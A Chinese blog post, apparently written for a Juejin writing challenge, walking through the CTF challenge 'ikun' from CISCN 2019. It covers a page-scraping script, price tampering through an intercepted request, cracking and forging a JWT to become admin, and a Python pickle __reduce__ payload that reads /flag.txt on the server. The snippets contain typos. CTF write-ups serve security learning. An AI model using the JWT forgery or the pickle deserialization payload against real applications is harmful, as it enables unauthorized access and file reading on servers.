携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第22天,点击查看活动详情
[CISCN2019 华北赛区 Day1 Web2]ikun
不得不说 CISCN的题目质量真的可以
一定要买到IV6 我翻了进十页 还是没有找到
首先先注册,然后进行登录
LV6准备用脚本跑一下 查看url进行编写脚本
http://6283a9ed-82e9-447c-a7c2-096499908bca.node4.buuoj.cn:81/info/2
import request
for i in range(1,1000):
url = "http://6283a9ed-82e9-447c-a7c2-096499908bca.node4.buuoj.cn:81/shop?page={}"
url = url.format(i)
print(url)
r = requests.get(url)
if "lv6.png" in r.text and r.status_code == 200:
print("find it:' ,url)
break
在181页发现lv6
对购物车进行抓包
然后在这里进行改折扣
得到
Location: /b1g_m4mber
访问页面显示只允许admin访问 意思就是需要改权限,JWT破解学习 先将JWT base64解码一下
{"alg":"HS256","typ":"JWT"}{"username":"123456789"}fgϷ݃U{x엖tɫ[
看到username是我自己的登录名 ,这里需要修改为admin 后面的乱码是因为经过了sha256,需要破解key
用jwt工具破解
然后伪造我们的jwt
网址:jwt.io/libraries
然后将JWT进行修改
在HTML页面发现压缩包
在代码中找到反序列化的地方
Pickle协议
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
然后传入become,就能得到flag